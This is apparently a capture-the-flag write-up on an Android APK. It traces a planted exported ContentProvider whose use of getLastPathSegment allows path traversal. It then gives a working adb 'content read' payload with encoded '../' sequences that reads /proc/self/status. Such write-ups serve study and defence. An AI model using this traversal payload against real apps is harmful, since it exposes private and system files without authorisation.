Challenge 3 report

By zeski and Bumblebee

Recon

We get an `Android_task.apk` file. First thing we do is use a decompiler of choice to decompile it, so we can start looking at some code. We notice it is a kotlin application, and the area of interest in the code would be in the `com/jbvincey` directory, since most other directories are standard for android. We searched the name of the application to see if this is an existing app or something new. We found the following github repository: https://github.com/jbvincey/MyTodoList/. Since the decompiled code differs a lot from the kotlin source code, we cannot just run diff on it, so we start manually checking for suspicious parts of the code.

First we check the `AndroidManifest.xml` file to check for wierd permissions or other things that might let us exploit some part of the application. We notice the following provider:

```
<provider
  android:name="com.jbvincey.mytodolist.GetFile"
  android:enabled="true"
  android:exported="true"
  android:authorities="com.jbvincey.mytodolist.getfile"
/>
```

which should allow us to read the applications files from outside. This is not a problem in itself, but it gives us a direction to look at.

Looking for how the provider is used, we find the `GetFile` class, and in it the following function:

```
public ParcelFileDescriptor openFile(Uri uri, String str) {
    File cacheDir;
    Intrinsics.checkNotNullParameter(uri, "uri");
    Intrinsics.checkNotNullParameter(str, "mode");
    String lastPathSegment = uri.getLastPathSegment();
    if (lastPathSegment != null) {
        Context context = getContext();
        String str2 = null;
        if (!(context == null || (cacheDir = context.getCacheDir()) == null)) {
            str2 = cacheDir.getAbsolutePath();
        }
        if (str2 != null) {
            File file = new File(str2 + '/' + lastPathSegment);
            if (file.exists() && file.canRead()) {
                return ParcelFileDescriptor.open(file, 268435456);
            }
            throw new FileNotFoundException("File not found or not readable");
        }
        throw new FileNotFoundException("Cache directory not found");
```

```
        }
        throw new FileNotFoundException("Invalid file path");
    }
```

which quickly confirms our suspicion. Firstly, this class is not a part of the original github repository. Secondly, constructing paths by concating strings together is rarely a good idea.

Looking into the details of this function we find out that `getLastPathSegment` is vulnerable to path traversal.

From https://support.google.com/faqs/answer/7496913?hl=en

> Note that calling getLastPathSegment on the Uri parameter is not safe. A malicious app can supply an encoded Uri path like %2F..%2F..path%2Fto%2Fsecret.txt so the result of getLastPathSegment will be /../../path/to/secret.txt.

So this gives us a path traversal vulnerability in the application we are given. All that is left is to find out how to use it.

Exploit

To exploit the application, we first need to figure out how to even read files from outside an application. For this we run the app inside an emulator and use adb shell to execute commands.

First we check that we can indeed read the application files by running

```
$ content read --uri content://com.jbvincey.mytodolist.getfile/filename.txt
this is a test
```

We see that the output we get is the expected one, as the app writes to this file on start.

```
public final class MyTodoListApp extends Application {
    public void onCreate() {
        createCacheFile(this, "filename.txt", "this is a test");
        super.onCreate();
        GlobalContextExtKt.startKoin$default((KoinContext) null, (Function1) new
MyTodoListApp$onCreate$1(this), 1, (Object) null);
    }

    public final void createCacheFile(Context context, String str, String str2) {
        Intrinsics.checkNotNullParameter(context, "context");
        Intrinsics.checkNotNullParameter(str, "fileName");
        Intrinsics.checkNotNullParameter(str2, "content");
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(new
File(context.getCacheDir(), str));
            byte[] bytes = str2.getBytes(Charsets.UTF_8);
            Intrinsics.checkNotNullExpressionValue(bytes, "(this as
java.lang.String).getBytes(charset)");
            fileOutputStream.write(bytes);
```

```
            fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```

Next we try with the path traversal that we suspect.

```
$ content read --uri
content://com.jbvincey.mytodolist.getfile/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f
..%2f..%2fproc%2fself%2fstatus
Name:   mple.mytodolist
Umask:  0077
State:  S (sleeping)
Tgid:   13284
Ngid:   0
Pid:    13284
PPid:   295
TracerPid:      0
Uid:    10154   10154   10154   10154
Gid:    10154   10154   10154   10154
FDSize: 128
Groups: 9997 20154 50154
VmPeak:  1920144 kB
VmSize:  1287548 kB
VmLck:         0 kB
VmPin:         0 kB
VmHWM:    126812 kB
VmRSS:    123808 kB
RssAnon:           33028 kB
RssFile:           90236 kB
RssShmem:            544 kB
Seccomp:        2
Speculation_Store_Bypass:       vulnerable
Cpus_allowed:   f
Cpus_allowed_list:      0-3
Mems_allowed:   1
Mems_allowed_list:      0
voluntary_ctxt_switches:        126
nonvoluntary_ctxt_switches:     187
```

We see the output of `/proc/self/status`, which means our exploit worked, and the challenge is completed.